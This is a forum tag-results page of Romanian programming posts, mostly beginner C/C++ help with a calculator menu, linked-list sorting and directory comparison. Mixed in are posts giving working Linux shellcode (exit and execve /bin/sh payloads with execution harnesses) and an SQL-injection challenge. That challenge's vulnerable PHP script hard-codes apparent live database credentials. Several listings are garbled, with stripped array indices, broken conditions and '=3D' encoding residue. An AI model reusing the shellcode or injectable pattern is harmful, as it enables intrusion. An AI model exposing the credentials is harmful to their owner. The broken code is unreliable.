Search the Community
Showing results for tags 'char'.
-
Mai erau de adaugat o groaza de algoritmi dar ajunge atat. Multumesc pentru ajutor @nedo #include<iostream> #include<conio.h> #include<math.h> #include<vector> #include<string> using namespace std; int main(){ int alege,prog=0,n,test=0,test1,test2=1,w,z,r; float a,b,c,x1,x2,delta,x,real,img; char alege1,ec; string input; char choise = ' '; restart: cout <<"1.Calculator\n"; cout <<"2.Ecuatia de gradul intai\n"; cout <<"3.Ecuatia de gradul 2\n"; cout <<"4.Progresii\n"; cout <<"5.Cmmdc\n"; cout <<"6.Exit\n"; cout <<"Alege (1,2,3..6): ";cin>>alege; switch(alege){ case 1 : cout <<"\nFelicitari , ai ales 'Calculatorul'\n\n"; operatii: cout <<"a)Inmultire\n"; cout <<"b)Impartire\n"; cout <<"c)Adunare\n"; cout <<"d)Scadere\n"; cout <<"Alege operatia dorita: ";cin>>alege1; switch(alege1){ case 'a' : cout <<"Ai ales operatia de inmultire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a*b<<endl; break; case 'b' : cout <<"Ai ales operatia de impartire calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a/b<<endl; break; case 'c' : cout <<"Ai ales operatia de adunare calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a+b<<endl; break; case 'd' : cout <<"Ai ales operatia de scadere calculeaza acum\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"Rezultatul este " <<a-b<<endl; break; default : cout <<"Alegere gresita . Alege doar dintre 'a' , 'b' , 'c' si 'd'";} break; cout <<"\nDoresti sa revii in meniul de operatii ?[Y/N]"; choise=_getch(); if (choise == 'n') goto operatii; case 2 : cout <<"Felicitari , ai ales 'Ecuatia de gradul intai'\n"; cout <<"Alege tipul de ecuatie\n"; cout <<"a) ax+b=0\n"; cout <<"Alege : "; cin>>ec; if (ec == 'a'){ cout<<"Dati valoarea lui a = "; cin>>a; cout<<"Dati valoarea lui b = "; cin>>b; if (a == 0) if (b == 0) cout <<"Ecuatie nedeterminata"; else cout <<"Ecuatie imposibila"; else { x=-b/a; cout <<"Rezultatul este: "<<x<<endl;}} break; case 3 : cout <<"Felicitari , ai ales 'Ecuatia de gradul doi'\n"; cout <<"a=";cin>>a; cout <<"b=";cin>>b; cout <<"c=";cin>>c; delta = b*b-4*a*c; if (a==0) cout <<"Ecuatia de gradul 1"; else { delta=b*b-4*a*c; if(delta >= 0) { cout<<"Radacini reale: "; x1=(-b+sqrt(delta))/(2*a); x2=(-b-sqrt(delta))/(2*a); cout<<"x1 = "<<x1<<" x2 = "<<x2; } else { cout<<"Radacini complexe :"; delta=-delta; real=-b/(2*a); img=sqrt(delta)/(2*a); cout<<"x1 = "<<real<<" + i*"<<img<<"\n"; cout<<"x2 = "<<real<<" - i*\n"<<img; } } break; case 4 : cout <<"Felicitari , ai ales 'Progresii' , acum va trebui sa alegi tipul de progresie\n"; reset: cout <<"a)Progresii aritmetice\n"; cout <<"b)Progresii geometrice\n"; cout <<"Alege cu 'a' sau 'b': ";cin>>choise; if (choise == 'a') { cout <<"Ai ales progresiile aritmetice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int dif = 0; int difVeche = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { dif = sir - sir[i - 1]; difVeche = dif; first= false; continue; } dif = sir - sir[i - 1]; if(dif != difVeche) { cout << "Sirul nu este in progresie aritmetica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie aritmetica cu ratia " <<dif<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; test1=sir[0]+(sir.size()-1)*dif; cout <<"Termenul " <<test<< " este egal cu " <<test1; break; } } if (choise == 'b') { cout <<"Ai ales progresiile geometrice , poti da sirul de numere\n"; vector<float> sir; cout <<"Adauga sirul : [apasa 0 cand ai terminat, orice alt tip de caracter va fi ignorat]\n"; do { cin >>input; prog = atoi(input.c_str());// transformam in numar(daca in input e un sir de caractere, chiar si urmat de cifre, functia va returna 0) if(prog == 0) //prog = - 1; continue; // iesim daca s-a introdus un sir de caractere sir.push_back(prog); }while (input != "0"); int q = 0; int q1 = 0; bool first = true; bool ok = false; for(int i = 1; i < sir.size();i++) { if(first) { q = sir / sir[i - 1]; q1 = q; first= false; continue; } q = sir / sir[i - 1]; if(q != q1) { cout << "Sirul nu este in progresie geometrica." << endl; ok = false; break; } ok = true; if(ok) cout << "Sirul este in progresie geometrica cu ratia " <<q<< endl; cout <<"Sirul are " <<sir.size()<< " elemente\n"; cout <<"Doresti sa calculezi suma primilor n termeni? [Y/N] \n"; choise = getch(); if (choise == 'n') goto reset; else cout <<"Ce termen doresti sa calculezi? ";cin>>test; float a=pow(q , test-1); //bn = b1·qn-1 test2=sir[0]*a; cout <<"Termenul " <<test<< " este egal cu \n" <<test2; break; } } break; case 5 : cout <<"Felicitari ai ales 'cmmdc'\n"; cout<<"a=";cin>>w; cout<<"b=";cin>>z; while(w!=z) if(w> w=w-z; else z=z-w; cout<<"Cmmdc : "<<z; break; default : cout <<"Nu exista aceasta optiune";} goto restart; getchar(); cin.ignore(cin.rdbuf()->in_avail() +1); return 0; }
-
/* * linux/x86 exit(0) - 6 bytes * Febriyanto Nugroho */ #include <stdio.h> char shellcode[] = "\xf7\xf0" "\xcd\x80" "\xeb\xfa"; int main(int argc, char **argv) { asm("jmp %0;" : "=m" (shellcode)); } Source
-
/* # # Execve /bin/sh Shellcode Via Push (Linux x86_64 23 bytes) # # Dying to be the shortest. # # Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com) # # 27 April 2015 # # GPL # .global _start _start: # char *const argv[] xorl %esi, %esi # 'h' 's' '/' '/' 'n' 'i' 'b' '/' movq $0x68732f2f6e69622f, %rbx # for '\x00' pushq %rsi pushq %rbx pushq %rsp # const char *filename popq %rdi # __NR_execve 59 pushq $59 popq %rax # char *const envp[] xorl %edx, %edx syscall */ /* gcc -z execstack push64.c uname -r 3.19.3-3-ARCH */ #include <stdio.h> #include <string.h> int main(void) { char *shellcode =3D "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56= \x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"; printf("strlen(shellcode)=3D%d\n", strlen(shellcode)); ((void (void))shellcode)(); return 0; } Linux x86-64 - Execve /bin/sh Shellcode Via Push (23 bytes) Linux x86 - Execve /bin/sh Shellcode Via Push (21 bytes) /* # # Execve /bin/sh Shellcode Via Push (Linux x86 21 bytes) # # Dying to be the shortest. # # Copyright (C) 2015 Gu Zhengxiong (rectigu@gmail.com) # # 18 February 2015 # # GPL # .global _start _start: # char *const argv[] xorl %ecx, %ecx # 2 bytes, and both %eax and %edx were zeroed mull %ecx # __NR_execve 11 movb $11, %al # for '\x00' pushl %ecx # 'h' 's' '/' '/' pushl $0x68732f2f # 'n' 'i' 'b' '/' pushl $0x6e69622f # const char *filename movl %esp, %ebx int $0x80 */ /* gcc -z execstack -m32 push.c uname -r 3.19.3-3-ARCH */ #include <stdio.h> #include <string.h> int main(void) { char *shellcode =3D "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68= \x2f\x62\x69\x6e\x89\xe3\xcd\x80"; printf("strlen(shellcode)=3D%d\n", strlen(shellcode)); ((void (void))shellcode)(); return 0; }
-
Se considera o lista dublu inlantuita de studenti cu structura:cod matricol, nume, prenume si media. Sa se scrie programul in C pentru crearea, ordonarea dupa medie si afisarea listei studentilor folosindu-se cate o functie adecvata pentru fiecare operatie (creare, ordonare si listare). cum pot ordona lista, fara sa permut valorile campurilor? eu am incercat asa, ceva ideei? EDIT: am inteles ca se poate ordona cu std::sort, dar nu stiu cum #include <iostream> #include <stdlib.h> using namespace std; struct nod { int cod_matricol; char nume[20]; char prenume[20]; float media; nod *urmator, *anterior; }; nod *prim, *ultim,xx; // int yy=0; void creez() { nod *c; c=new nod; cout<<"Cod matricol : "; cin>>c->cod_matricol; cout<<"Nume : "; cin>>c->nume; cout<<"Prenume : "; cin>>c->prenume; cout<<"Media : "; cin>>c->media; if (!prim) { prim=c; prim->urmator=0; prim->anterior=0; ultim=prim; } else { ultim->urmator=c; c->anterior=ultim; ultim=c; ultim->urmator=0; } } void afisez() { nod *c; int i=1; c=prim; while (c) { cout<<"Inregistrarea "<<i++<<" : "<<endl; cout<<"Cod matricol : "<<c->cod_matricol<<endl; cout<<"Nume : "<<c->nume<<endl; cout<<"Prenume : "<<c->prenume<<endl; cout<<"Media : "<<c->media<<endl; cout<<endl; c=c->urmator; } } void ordonez() { nod *x,*y,*aux; int auxaux; aux=prim->urmator; for(x=prim;x!=0;x=x->urmator) for(y=aux;y!=0;y=y->urmator) if(x->media > y->media) { xx=*x; *x=*y; *y=xx; *prim=xx; } } int main() { int n,i; cout<<"Cate inregistrari? : "; cin>>n; for(i=1;i<=n;i++) creez(); system("cls"); afisez(); system("pause"); system("cls"); ordonez(); afisez(); system("pause"); return 0; }
-
Am urmatoarea problema in c care imi spune care fisiere sunt in dir1 si NU sunt in dir2. Problema e urmatoarea:sa spunem ca dir1 are ca subdirector pe a si in a avem fisierul bbb, iar in dir2 am doar fisierul bbb. Mie o sa-mi spuna programul ca fisierul bbb se afla si in dir1 si in dir2, dar defapt nu se afla oarecum pe acelasi nivel, si in dir1 se afla in subdirectorul a. Eu vreau sa-mi spuna ca acest bbb din dir1 e diferit de cel din dir2, cum pot as putea sa modific ca sa mearga? Mersi. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <dirent.h> #include <sys/param.h> #include <limits.h> #include <string.h> char *path2; int dir2compare( char *path, char *findme ){ DIR *dir; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(strcmp(entry->d_name,findme)==0) return 1; } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dir2compare(spath,findme); } } closedir( dir); } char dirfind( char *path, int *fgasit){ DIR *dir; char *temp; struct dirent *entry; char spath[PATH_MAX] = "", spath2[PATH_MAX] = ""; if( !(dir = opendir( path))){ perror("opendir"); exit(1);} for( entry = readdir( dir); entry; entry = readdir( dir)){ sprintf( spath, "%s/%s", path, entry->d_name); if( entry->d_type == DT_REG){ if(dir2compare(path2, entry->d_name)==0) { printf("[*] %s\n", spath); (*fgasit)++; } } if( entry->d_type == DT_DIR && (strcmp( ".", entry->d_name)) && (strcmp( "..", entry->d_name))){ dirfind(spath, fgasit); } } closedir( dir); return(0); } int main(int argc, char *argv[]){ int i = 0; if (argc == 3){ path2=strdup(argv[2]); dirfind(argv[1],&i); printf(" %d fisiere nu corespund.\n", i); } }
-
Salutare, Challange-ul pe care il am pentru voi este sa luati un char de la un string din db, intr-un singur query/req Raspunsurile pe PM sa spunem ca asta ar fi scriptul vulnerabil: <?php $db = new PDO('mysql:host=mysql13.000webhost.com;dbname=a8014888_mom', 'a8014888_mom', 'numauita11'); if(isset($_GET['id'])) $db->query("SELECT * FROM completed where id=".$_GET['id']); Nu am facut un demo deoarece era greu de implementat limita aia cu 1 query/req....